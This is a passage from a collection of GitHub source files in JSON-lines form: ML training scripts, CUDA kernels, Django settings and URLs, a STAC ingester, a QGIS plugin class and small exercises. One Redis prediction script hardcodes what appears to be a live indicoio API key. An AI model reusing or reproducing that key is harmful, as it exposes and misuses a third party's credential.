valid_D, **input_config)\n\n# average data across window length\ntrain_X = train_X.mean(axis=1)\nvalid_X = valid_X.mean(axis=1)\n\n# train svm model\nclf = svm.SVC(gamma='scale')\nclf.fit(train_X, train_y) \n\n# predict validation set \nvalid_pre_y = clf.predict(valid_X) \nval_acc = accuracy_score(valid_pre_y, valid_y)\nprint('valid accuracy: ', val_acc)","repo_name":"yijingf/EEG_Motor_Imagery","sub_path":"src/eeg_BCI2000_ml_ha.py","file_name":"eeg_BCI2000_ml_ha.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24994749911","text":"#!/usr/bin/env python\n\"\"\"\nThis script ingests STAC collections into a deployment of Stac-FastAPI running on a K8s cluster.\nThe cluster could be running on AWS EKS or locally.\n\nDocs for Transaction Extension: https://github.com/stac-api-extensions/transaction#methods\n\n\"\"\"\n\nimport json\nimport os\nfrom typing import Dict\nimport urllib.request\n\n\n# Format is http://{SERVICE_NAME}.{ None:\n \"\"\"\n This makes HTTP POST requests to the /collections endpoint for stac-fastapi-pgStac.\n\n values (dict): the JSON object for the collection\n\n Returns -> None\n\n \"\"\"\n\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n }\n\n data = json.dumps(values).encode(\"utf-8\")\n\n try:\n req = urllib.request.Request(FASTAPI_ENDPOINT, data, headers)\n with urllib.request.urlopen(req) as f:\n res = f.read()\n except Exception as e:\n print(e)\n\n\ndef ingest_collections() -> None:\n \"\"\"\n This loops over collection JSON files in a directory within the container,\n sending each file's content to the post_collection function.\n\n Returns -> None\n\n \"\"\"\n\n # Directory containing collection JSON files\n collection_dir = \"task/collections\"\n\n for file in os.listdir(collection_dir):\n if file.endswith(\".json\"):\n full_filename = f\"{collection_dir}/{file}\"\n with open(full_filename, \"r\") as fi:\n dict = json.load(fi)\n post_collection(dict)\n\n\nif __name__ == \"__main__\":\n ingest_collections()\n","repo_name":"Element84/filmdrop-k8s-tf-modules","sub_path":"modules/stac/stac-collection/collections/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36050119919","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def mergeKLists(self, lists: List[Optional[ListNode]]) -> Optional[ListNode]:\n #append list\n s = []\n head = current = ListNode(0)\n for i in range(len(lists)):\n while lists[i] != None:\n s.append(lists[i].val)\n lists[i] = lists[i].next\n s.sort()\n for i in range(len(s)):\n current.next = ListNode(s[i])\n current = current.next\n return head.next\n ","repo_name":"Ebenezer997/Leetcode-submissions","sub_path":"merge-k-sorted-lists/merge-k-sorted-lists.py","file_name":"merge-k-sorted-lists.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71432870594","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nlearn a fixed score from DL and apply to DU\n\"\"\"\n\nimport argparse\n\nimport torch.optim as optim\nimport torch\nimport numpy as np\nimport os\nimport copy\nfrom tqdm.auto import tqdm\nfrom core_conditional_attn.Model import AssembleModel\nfrom core_conditional_attn.TrainFunc import train, test, val\nfrom core_conditional_attn.Data import data_load, save_log\n\ndef set_seed_everywhere(seed, cuda):\n np.random.seed(seed)\n torch.manual_seed(seed)\n if cuda:\n torch.cuda.manual_seed_all(seed)\n return None\n\n\ndef parse_args():\n file_name = '.'.join(os.path.basename(__file__).split('.')[:-1])\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--pt_file', type=str, default=None,\n help='full dataset location.')\n parser.add_argument('--ds', type=str, required=False, default='youtube',\n choices=['youtube', 'imdb', 'yelp', 'agnews', 'spouse'],\n help='dataset indicator.')\n parser.add_argument('--no_cuda', action='store_true', default=True,\n help='ban cuda devices.')\n parser.add_argument('--fast_mode', action='store_true', default=True,\n help='Validate during training pass.')\n parser.add_argument('--seed', type=int, default=0,\n help='random seed.')\n parser.add_argument('--epoch', type=int, default=500, #TODO\n help='number of training epochs.')\n parser.add_argument('--lr', type=float, default=0.02,\n help='learning rate.')\n parser.add_argument('--weight_decay', type=float, default=5e-4)\n parser.add_argument('--hidden', type=int, default=128,\n help='network hidden size.')\n parser.add_argument('--c2', type=float, default=0.1)\n parser.add_argument('--c3', type=float, default=0.1)\n parser.add_argument('--c4', type=float, default=0.1) # no use\n parser.add_argument('--c5', type=float, default=0.1) # no use\n parser.add_argument('--k', type=float, default=0.1)\n parser.add_argument('--x0', type=int, default=50)\n parser.add_argument('--unlabeled_ratio', type=float, default=0.8)\n parser.add_argument('--log_prefix', type=str, default=os.path.join(\n 'log_files', file_name\n ))\n parser.add_argument('--ft_log', type=str, default=os.path.join(\n 'ft_logs', file_name\n ))\n parser.add_argument('--n_high_cov', type=int, default=1)\n parser.add_argument('--self_train', type=bool, default=True)\n parser.add_argument('--test_score', type=int, default=0,\n help='0: high, 1: atten, 2: bert')\n\n args = parser.parse_args()\n\n # manipulate arguments\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n if not args.pt_file:\n args.pt_file = 'dataset/{}/{}_organized_nb.pt'.format(args.ds, args.ds)\n if args.log_prefix is 'None':\n args.log_prefix = None\n else:\n args.log_prefix += '_{}.log'.format(args.ds)\n args.ft_log += '_{}_old.log'.format(args.ds)\n args.num_class = 2\n if args.ds == 'agnews':\n args.num_class = 4\n\n #TDOO: one time running\n # args.lr = 0.02\n # args.hidden = 128\n # args.c2 = 0.2 # in paper, it is c1\n # args.c3 = 0.1\n # args.n_high_cov = 2\n #---END---\n\n print(args)\n\n return args\n\ndef main():\n args = parse_args()\n\n if args.cuda:\n print('Using GPU!')\n device = torch.device(\"cuda\" if args.cuda else \"cpu\")\n set_seed_everywhere(args.seed, args.cuda)\n\n # load data\n training_set, validation_set, testing_set, \\\n n_features, n_rules, no_cover_ids, y_l = data_load(args.pt_file, args.n_high_cov) #TODO: change trans/in\n print('Data loaded from pt file!')\n\n print(' -------- ')\n print('lr: {}, hidden: {}, c2: {}, c3: {}, c4: {}, c5: {}'.format(args.lr, args.hidden, args.c2, args.c3, args.c4, args.c5))\n model = AssembleModel(\n n_features=n_features,\n n_rules=n_rules,\n d_hid=args.hidden,\n n_class=args.num_class\n ).to(device)\n\n # print(sum(p.numel() for p in model.parameters() if p.requires_grad))\n\n optimizer = optim.Adam(\n model.parameters(), lr=args.lr, weight_decay=args.weight_decay\n )\n\n best_accu = 0\n best_model_wts = None\n best_fix_score = None\n\n train_metrics_list = list()\n val_metrics_list = list()\n\n print('training model...')\n Z = torch.zeros(len(no_cover_ids), args.num_class).float() # intermediate values\n z = torch.zeros(len(no_cover_ids), args.num_class).float() # temporal outputs\n # outputs = torch.zeros(len(no_cover_ids), args.num_class).float() # current outputs\n pred_y_l_new = y_l.clone()\n for epoch in tqdm(range(args.epoch)):\n fix_score, train_metrics, pred_y_l_new, z = train(\n args,\n epoch=epoch,\n model=model,\n optimizer=optimizer,\n data=training_set,\n device=device,\n no_cover_ids=no_cover_ids,\n Z=Z,\n z=z,\n n_class=args.num_class,\n y_l_new=pred_y_l_new,\n k=args.k,\n x0=args.x0,\n c2=args.c2,\n c3=args.c3,\n c4=args.c4,\n c5=args.c5\n )\n train_metrics_list.append(train_metrics)\n\n val_accu, val_accu_fc, val_accu_attn = test(\n args, model, validation_set, fix_score, device, n_class=args.num_class\n )\n val_metrics_list.append([val_accu, val_accu_fc, val_accu_attn])\n\n if val_accu >= best_accu:\n best_accu = val_accu\n best_fix_score = fix_score\n best_model_wts = copy.deepcopy(model.state_dict())\n\n print('[validation] best accuracy: {}'.format(best_accu))\n model.load_state_dict(best_model_wts)\n test_accu, test_accu_fc, test_accu_attn = test(\n args, model, testing_set, best_fix_score, device, n_class=args.num_class\n )\n test_metrics = (test_accu, test_accu_fc, test_accu_attn)\n print('[test] accuracy: {:.4f}, attention accuracy: {:.4f},'\n ' ensemble accuracy: {:.4f}'.format(test_accu_fc, test_accu_attn, test_accu))\n\n if args.log_prefix:\n save_log(args.log_prefix, train_metrics_list, val_metrics_list, test_metrics,\n args.lr, args.hidden, args.c2, args.c3)\n\n with open(args.ft_log, 'a', encoding='utf-8') as f:\n f.write('lr, {}, hidden, {}, c2, {}, c3, {}, c4, {}, c5, {}, n_high, {}, test_score, {} '\n 'validation_accu, {:.4f}, test_accu, {:.4f}\\n'\n .format(args.lr, args.hidden, args.c2, args.c3, args.c4, args.c5, args.n_high_cov, args.test_score,\n best_accu, test_accu)\n )\n\n file_name = '.'.join(os.path.basename(__file__).split('.')[:-1])\n torch.save({\n 'state_dict': model.state_dict,\n 'fix_score': best_fix_score\n }, 'model/model_{}_{}_{}_{}_{}_{}.cpk'.format(\n file_name, args.ds, args.lr, args.hidden, args.c2, args.c3\n ))\n\nif __name__ == '__main__':\n main()\n","repo_name":"weakrules/Denoise-multi-weak-sources","sub_path":"main_conditional_attn.py","file_name":"main_conditional_attn.py","file_ext":"py","file_size_in_byte":7060,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"61"} +{"seq_id":"25215518206","text":"import datetime, json,calendar, pandas\n\n\n\ndef command_format(d,s):\n l = (list(d.keys()))\n c = \"\"\n t = \"{}='{}'\"\n for i in l[1:]:\n b = \"{}='{}'\"\n b = b.format(i, d[i])\n c = c+ \",\" +b\n c = c[1:]\n t = t.format(l[0], d[l[0]])\n s = s.format(c,t)\n return s\n\ndef read_config(file='conf/config.json'):\n with open(file) as f:\n return json.load(f)\n\ndef myconverter(o):\n if isinstance(o, datetime.datetime):\n o = o.__str__()\n return o\n\ndef getIndex(v,m):\n if v.month() == m:\n return v","repo_name":"trungdonggg/attendance_check","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27362560542","text":"from typing import Optional\nimport uuid\nfrom pydantic import BaseModel, Field\n\n\nclass ItemModel(BaseModel):\n # Model\n id: str = Field(default_factory=uuid.uuid4, alias=\"_id\")\n name: str = Field(...)\n description: str = Field(...)\n price: float = Field(...)\n stock: int = Field(...)\n\n class Config:\n # Workaround to allow underscored variable names\n # If this is not set to True, pydantic will assume it is a private variable\n allow_population_by_field_name = True\n # Schema that will be displayed in auto generated OpenAPI doc\n schema_extra = {\n \"example\": {\n \"name\": \"My important item\",\n \"description\": \"This item is new\",\n \"price\": 5.60,\n \"stock\": 10,\n }\n }\n\n\nclass UpdateItemModel(BaseModel):\n # Model\n # We do not specify _id field here, because this field is immutable in MongoDB\n name: Optional[str]\n description: Optional[str]\n price: Optional[float]\n stock: Optional[int]\n\n class Config:\n # Schema that will be displayed in auto generated OpenAPI doc\n schema_extra = {\n \"example\": {\n \"name\": \"My important item\",\n \"description\": \"This item is new\",\n \"price\": 5.60,\n \"stock\": 10,\n }\n }\n","repo_name":"jpuris/via-ecommerse","sub_path":"warehouse/backend/api/src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73843138754","text":"import numbers\n\nimport cupy as cp\nimport numpy as np\nfrom numba import cuda\n\ncomponentwise_mult_raw_kernel = cp.RawKernel(\n r\"\"\"\nextern \"C\" __global__ void componentwiseMatrixMul1vsBatchfloat2(\n const float2* singleIn,\n const float2* batchIn,\n float2* out,\n int batch_size,\n int rows,\n int cols) {\n int col = threadIdx.x + blockIdx.x * blockDim.x;\n int row = threadIdx.y + blockIdx.y * blockDim.y;\n int batch = blockIdx.z;\n\n size_t yy_xx = row * cols + col;\n size_t zz_yy_xx = batch * (rows * cols) + yy_xx;\n\n if (batch < batch_size && row < rows && col < cols) {\n out[zz_yy_xx].x =\n singleIn[yy_xx].x * batchIn[zz_yy_xx].x - singleIn[yy_xx].y * batchIn[zz_yy_xx].y;\n out[zz_yy_xx].y =\n singleIn[yy_xx].x * batchIn[zz_yy_xx].y + singleIn[yy_xx].y * batchIn[zz_yy_xx].x;\n }\n}\"\"\",\n \"componentwiseMatrixMul1vsBatchfloat2\",\n)\n\n\n@cuda.jit(\"void(complex64[:], complex64[:], complex64[:], int64, int64, int64)\")\ndef componentwise_mult_numba_depr(single_in, batch_in, out, batch_size, rows, cols):\n col = cuda.threadIdx.x + cuda.blockIdx.x * cuda.blockDim.x\n row = cuda.threadIdx.y + cuda.blockIdx.y * cuda.blockDim.y\n batch = cuda.blockIdx.z\n\n yy_xx = row * cols + col\n zz_yy_xx = batch * (rows * cols) + yy_xx\n if batch < batch_size and row < rows and col < cols:\n out[zz_yy_xx] = single_in[yy_xx] * batch_in[zz_yy_xx]\n\n\n@cuda.jit(\n \"void(complex64[:, :], complex64[:, :, :], complex64[:, :, :], uint64, uint64, uint64)\"\n)\ndef componentwise_mult_numba(single_in, batch_in, out, batch_size, rows, cols):\n col = cuda.threadIdx.x + cuda.blockIdx.x * cuda.blockDim.x\n row = cuda.threadIdx.y + cuda.blockIdx.y * cuda.blockDim.y\n batch = cuda.blockIdx.z\n\n if batch < batch_size and row < rows and col < cols:\n out[batch, row, col] = single_in[row, col] * batch_in[batch, row, col]\n # out[zz_yy_xx].real = (\n # single_in[yy_xx].real * batch_in[zz_yy_xx].real\n # - single_in[yy_xx].imag * batch_in[zz_yy_xx].imag\n # )\n # out[zz_yy_xx].imag = (\n # single_in[yy_xx].real * batch_in[zz_yy_xx].real\n # + single_in[yy_xx].imag * batch_in[zz_yy_xx].imag\n # )\n\n\ndef gaussian_kernel(width: int = 21, sigma: int = 3, dim: int = 2) -> np.ndarray:\n \"\"\"Gaussian kernel\n Parameters\n ----------\n width: bandwidth of the kernel\n sigma: std of the kernel\n dim: dimensions of the kernel (images -> 2)\n\n Returns\n -------\n kernel : gaussian kernel\n \"\"\"\n assert width > 2\n\n if isinstance(width, numbers.Number):\n width = [width] * dim\n if isinstance(sigma, numbers.Number):\n sigma = [sigma] * dim\n kernel = 1\n meshgrids = np.meshgrid(*[np.arange(size, dtype=np.float32) for size in width])\n for size, std, mgrid in zip(width, sigma, meshgrids):\n mean = (size - 1) / 2\n kernel *= (\n 1 / (std * np.sqrt(2 * np.pi)) * np.exp(-(((mgrid - mean) / std) ** 2) / 2)\n )\n\n # Make sure sum of values in gaussian kernel equals 1.\n return kernel / np.sum(kernel)\n\n\ndef create_embedded_kernel(batch_size, height, width) -> cp.core.core.ndarray:\n # can't just instantiate on the gpu because then writes will be compiled\n # to a ton of individual kernels\n kernel = np.zeros((batch_size, height, width))\n for k in range(batch_size):\n radius = k + 1\n assert 2 * radius + 1 <= height\n # TODO: not right\n embedded_kernel = gaussian_kernel(width=2 * radius + 1)\n for r in range(height // 2 - radius, height // 2 + radius + 1):\n for c in range(width // 2 - radius, width // 2 + radius + 1):\n # fmt: off\n kernel[k][r][c] = embedded_kernel[r - height // 2 - radius][c - width // 2 - radius]\n # fmt: on\n\n return cp.asarray(kernel)\n","repo_name":"makslevental/cuda_blob","sub_path":"python/kernels.py","file_name":"kernels.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30884523677","text":"from qgis.PyQt.QtWidgets import QDialog\n\nfrom ...classes.class_qmapshaper_command_builder import QMapshaperCommandBuilder\nfrom ...classes.class_qmapshaper_file import QMapshaperFile\nfrom ...processing.tool_simplify import SimplifyAlgorithm\nfrom ...text_constants import TextConstants\nfrom ...utils import log\nfrom .interactive_process import InteractiveProcess\n\n\nclass InteractiveSimplifierProcess(InteractiveProcess):\n def __init__(self, parent: QDialog = None) -> None:\n super(InteractiveSimplifierProcess, self).__init__(parent=parent)\n\n self.result_layer_name = \"generalized\"\n\n def process_layer(self, simplify_percent: float, simplify_method: str) -> None:\n self.remove_previous_data()\n\n self.processed_data_filename = QMapshaperFile.random_temp_filename()\n\n planar = not self.memory_layer.crs().isGeographic()\n\n if self.process_selection:\n field_name = TextConstants.GENERALIZATION_FIELD_NAME\n else:\n field_name = None\n\n arguments = SimplifyAlgorithm.prepare_arguments(\n simplify_percent=simplify_percent, method=simplify_method, planar=planar, field=field_name\n )\n\n commands = QMapshaperCommandBuilder.prepare_console_commands(\n input_data_path=self.input_data_filename,\n output_data_path=self.processed_data_filename,\n command=SimplifyAlgorithm.command(),\n arguments=arguments,\n clean_before=self.clean_data,\n clean_after=self.clean_data,\n )\n\n log(f\"COMMAND TO RUN: {' '.join(commands)}\")\n\n self.run_mapshaper_process(commands)\n\n log(f\"Data to load: {self.processed_data_filename}\")\n","repo_name":"JanCaha/qgis-qmapshaper","sub_path":"qmapshaper/gui/processes/interactive_simplifier_process.py","file_name":"interactive_simplifier_process.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"30653571034","text":"n=int(input(\"Enter Number..\"))\ntemp=n\npel=0\nwhile temp>0 :\n\trem=temp%10\n\tpel=(pel*10)+rem\n\ttemp//=10\nif pel==n:\n\tprint(n,\" is a pelindrom number..\")\nelse:\n\tprint(n,\"is not a pelindrom number..\")\n\t","repo_name":"adityabhalsod/GTU-MCA-Practical","sub_path":"Semester III/Programming in Python (4639304)/p8.py","file_name":"p8.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"399084607","text":"import tensorflow_hub as hub\nimport tensorflow as tf\nimport os\nimport pickle\n\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\n\nURL_mobilenet = \"https://tfhub.dev/google/tf2-preview/mobilenet_v2/feature_vector/4\"\nURL_inception = \"https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4\"\nprint(hub.__version__)\n\nbase_dir = \"C:/Users/acer/.keras/datasets/cats_and_dogs_filtered\"\n\ntrain_dir = os.path.join(base_dir,\"train\")\nvalidation_dir = os.path.join(base_dir,\"validation\")\n\ntrain_cats_dir = os.path.join(train_dir,\"cats\")\ntrain_dogs_dir = os.path.join(train_dir,\"dogs\")\n\nvalidation_cats_dir = os.path.join(validation_dir,\"cats\")\nvalidation_dogs_dir = os.path.join(validation_dir,\"dogs\")\n\nnum_train_cats = len(os.listdir(train_cats_dir))\nnum_train_dogs = len(os.listdir(train_dogs_dir))\n\nnum_validation_cats = len(os.listdir(validation_cats_dir))\nnum_validation_dogs = len(os.listdir(validation_dogs_dir))\n\nnum_outputs = len(os.listdir(base_dir))\n\nprint(\"=\"*50)\nprint(f'Number of cats in train: {num_train_cats}')\nprint(f'Number of cats in validation: {num_validation_cats}')\nprint(f'Number of dogs in train: {num_train_dogs}')\nprint(f'Number of dogs in validation: {num_validation_dogs}')\nprint(\"-\"*50)\nprint(f'Total cats: {num_train_cats+num_validation_cats}')\nprint(f'Total dogs: {num_validation_dogs+num_train_dogs}')\nprint(f\"Total pics: {num_train_dogs+num_validation_cats+num_validation_dogs+num_train_cats}\")\nprint(\"-\"*50)\nprint(\"=\"*50)\n\nIMG_SIZE = 224\nBATCH_SIZE = 35\nEPOCHS = 5\ntrain_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1/255,\n horizontal_flip=True,\n vertical_flip=True)\n\nvalidation_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1/255)\n\ntrain_data = train_generator.flow_from_directory(directory=train_dir,\n target_size=(IMG_SIZE,IMG_SIZE),\n batch_size=BATCH_SIZE,\n shuffle=True,\n class_mode=\"binary\")\n\nvalid_data = validation_generator.flow_from_directory(directory=validation_dir,\n target_size=(IMG_SIZE,IMG_SIZE),\n batch_size=BATCH_SIZE,\n class_mode=\"binary\")\n\nfeature_extractor = hub.KerasLayer(URL_mobilenet,input_shape=(IMG_SIZE,IMG_SIZE,3))\nfeature_extractor.trainable=False\n\nmodel = tf.keras.Sequential()\nmodel.add(feature_extractor)\nmodel.add(tf.keras.layers.Dense(num_outputs,activation=\"softmax\"))\n\nmodel.compile(optimizer=\"adam\",\n loss=tf.keras.losses.SparseCategoricalCrossentropy(),\n metrics=[\"accuracy\"])\n\nif not os.path.exists(\"Transferlearning.h5\"):\n hist = model.fit(train_data,\n epochs=EPOCHS,\n steps_per_epoch=(num_train_dogs+num_train_cats)//BATCH_SIZE,\n validation_data=valid_data,\n validation_steps=(num_validation_cats+num_validation_dogs)//BATCH_SIZE)\n tf.saved_model.save(model, \"SavedTransferLearning.h5\")\n model.save(\"Transferlearning.h5\")\n with open(\"TransferLearning.pkl\", \"wb\") as f:\n pickle.dump(hist.history, f)\n\nelse:\n model = tf.keras.models.load_model(\"Transferlearning.h5\",\n custom_objects={\"KerasLayer\":hub.KerasLayer})\n\n model.summary()","repo_name":"EduardoPach/Tensorflow_Certificate_Train","sub_path":"Cats_and_Dogs/TransferLearning.py","file_name":"TransferLearning.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1787350505","text":"import plotly.express as px\n\ndef plot_gps(filename):\n gps_points = []\n\n with open(filename) as f:\n for line in f.readlines():\n elements = line.strip().split(\", \")\n gps_lat = float(elements[0])\n gps_lon = float(elements[1])\n gps_points.append((gps_lat, gps_lon))\n\n map_plot = px.line_mapbox(lat=[point[0] for point in gps_points], lon=[point[1] for point in gps_points], hover_name=None, hover_data=None, zoom=13, height=800)\n map_plot.update_layout(mapbox_style=\"open-street-map\")\n map_plot.update_layout(margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0})\n map_plot.show()\n\nplot_gps(\"gps_transmissions_decoded.txt\")","repo_name":"CameronFraserr/co_jpm_car_hijack","sub_path":"code_example.py","file_name":"code_example.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5732405103","text":"import redis\nimport pickle\nimport sys\nimport indicoio\nimport numpy as np\nimport json\nimport scipy as sp\n\nfrom sklearn.linear_model import LogisticRegression\n\nwith open(\"classifier\" + str(sys.argv[1]) + \".pickle\", 'rb') as handle:\n clf = pickle.load(handle)\n\n\nindicoio.config.api_key = \"bca760a95d156cbbad4729cb9cd4cb0e\"\n\nr = redis.StrictRedis(host='127.0.0.1', port=6379, db=0)\np = r.pubsub()\np.subscribe(\"trending_updated\")\n\nwhile True:\n for l in p.listen():\n message = json.loads(r.get('trending:us').decode(\"utf-8\"))\n for post in message:\n posts = json.loads(r.get('tag:' + post).decode(\"utf-8\"))\n print(posts)\n X_test = np.zeros(shape=[111, 1])\n y_predict_proba = np.zeros(shape=[len(posts), 2])\n ret = []\n for i in range(0, len(posts)):\n text_tags = indicoio.text_tags(posts[i][\"text\"], version=2)\n X_test[:, 0] = list(text_tags.values())\n y_predict_proba[i, :] = clf.predict_proba(X_test.T)\n ret.append((y_predict_proba[i, 1], i))\n\n ret = sorted(ret, key=lambda x: x[0])\n print(ret)\n queue = []\n for i in range(0, min(10, len(ret))):\n pop = ret[min(10, len(ret)) - i - 1]\n queue.append({'proba': pop[0], 'index': pop[1]})\n\n r.set('tag:queue', json.dumps(queue))\n r.publish(\"prediction_finished\", \"done\")\n","repo_name":"nikola-miljkovic/citizen-reporter","sub_path":"Predictions/get_preference.py","file_name":"get_preference.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25470963304","text":"\"\"\"blogpro URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom blogapp import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('main',views.main,name=\"main\"),\n path('',views.home,name='home'),\n path('signup',views.signup,name='signup'),\n path('login',views.login,name='login'),\n path('logout',views.logout,name='logout'),\n path('addblog',views.addblog,name='addblog'),\n path('contact',views.contact,name='contact'),\n path('single',views.blogsingle,name='single'),\n path('pdfcreate',views.pdfcreate,name='create'),\n path('Edit',views.Edit,name='Edit'),\n path('edit_blog',views.edit_blog,name='edit_blog'),\n path('delete_blog',views.delete_blog,name='delete_blog'),\n path('Contacts',views.Contacts,name='Contacts'),\n path('adminlogin',views.adminlogin,name='adminlogin'),\n path('s',views.signupform,name='signupform'),\n path('l',views.loginform,name='loginform'),\n path(r'^password/$', views.change_password, name='change_password'),\n path('search', views.search, name='search'),\n path('read', views.readmore, name='read'),\n path('addprofile', views.add_profile_photo, name='addprofile'),\n path('Profile', views.showprofile_photo, name='Profile'),\n path('updateprofile', views.update_profile, name='updateprofile'),\n path('filter/?/', views.filter, name='filter'),\n\n]+ static(settings.MEDIA_URL,document_root = settings.MEDIA_ROOT)\n","repo_name":"kunal-2668/Anime-Blogs","sub_path":"blogpro/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11312446895","text":"for i in range(1200):\r\n values = [0 for _ in range(12)];\r\n for x in range(12):\r\n xval = 100*x;\r\n values[x] = 0;\r\n yval = -(xval-i)*(xval-i)/4200.0 + 15.0;\r\n \r\n if (yval > 0):\r\n dist = int(yval);\r\n values[x] = dist;\r\n\r\n\r\n print(values);\r\n","repo_name":"maxbergmark/old-work","sub_path":"Egna projekt/Guild/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5378782962","text":"from .base import * # noqa\nfrom .base import env\n\n# ------------------------- GENERAL -----------------------------------------\nSECRET_KEY = env(\"DJANGO_SECRET_KEY\")\nALLOWED_HOSTS = env.list(\"DJANGO_ALLOWED_HOSTS\", default=[\"example.com\"])\n\n# --------------------------- DATABASES -------------------------------------\nDATABASES[\"default\"][\"CONN_MAX_AGE\"] = env.int(\"CONN_MAX_AGE\", default=60) # noqa: F405\n\n# ------------------------ CACHES -------------------------------------------\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": env(\"REDIS_URL\"),\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n # Mimicking memcache behavior.\n \"IGNORE_EXCEPTIONS\": True,\n },\n }\n}\n\n# ------------------------ STATIC -------------------------------------------\nINSTALLED_APPS += [\"storages\"] # noqa: F405\n\n# if GCP:\n# GS_BUCKET_NAME = env(\"DJANGO_GCP_STORAGE_BUCKET_NAME\")\n# GS_DEFAULT_ACL = \"publicRead\"\n# STATICFILES_STORAGE = \"price_navigator.utils.storages.StaticRootGoogleCloudStorage\"\n# COLLECTFAST_STRATEGY = \"collectfast.strategies.gcloud.GoogleCloudStrategy\"\n# STATIC_URL = f\"https://storage.googleapis.com/{GS_BUCKET_NAME}/static/\"\n\nSTORAGES = {\n \"default\": {\n \"BACKEND\": \"django.core.files.storage.FileSystemStorage\",\n },\n # Enable WhiteNoise's GZip and Brotli (HTTPS only) compression of static assets:\n # https://whitenoise.readthedocs.io/en/latest/django.html#add-compression-and-caching-support\n \"staticfiles\": {\n \"BACKEND\": \"whitenoise.storage.CompressedManifestStaticFilesStorage\",\n },\n}\n\n# MEDIA\n# ------------------------------------------------------------------------------\n# DEFAULT_FILE_STORAGE = \"price_navigator.utils.storages.MediaRootGoogleCloudStorage\"\n# MEDIA_URL = f\"https://storage.googleapis.com/{GS_BUCKET_NAME}/media/\"\n\n# --------------------------- SECURITY -------------------------------------------\nSECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", \"https\")\nSECURE_SSL_REDIRECT = env.bool(\"DJANGO_SECURE_SSL_REDIRECT\", default=True)\nSESSION_COOKIE_SECURE = True\nCSRF_COOKIE_SECURE = True\n# TODO: set this to 60 seconds first and then to 518400 once you prove the former works\nSECURE_HSTS_SECONDS = 60\nSECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool(\"DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS\", default=True)\nSECURE_HSTS_PRELOAD = env.bool(\"DJANGO_SECURE_HSTS_PRELOAD\", default=True)\nSECURE_CONTENT_TYPE_NOSNIFF = env.bool(\"DJANGO_SECURE_CONTENT_TYPE_NOSNIFF\", default=True)\n\n# EMAIL\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#default-from-email\nDEFAULT_FROM_EMAIL = env(\n \"DJANGO_DEFAULT_FROM_EMAIL\",\n default=\"price-navigator \",\n)\n# https://docs.djangoproject.com/en/dev/ref/settings/#server-email\nSERVER_EMAIL = env(\"DJANGO_SERVER_EMAIL\", default=DEFAULT_FROM_EMAIL)\n# https://docs.djangoproject.com/en/dev/ref/settings/#email-subject-prefix\nEMAIL_SUBJECT_PREFIX = env(\n \"DJANGO_EMAIL_SUBJECT_PREFIX\",\n default=\"[price-navigator]\",\n)\n\n# ADMIN\n# ------------------------------------------------------------------------------\n# Django Admin URL 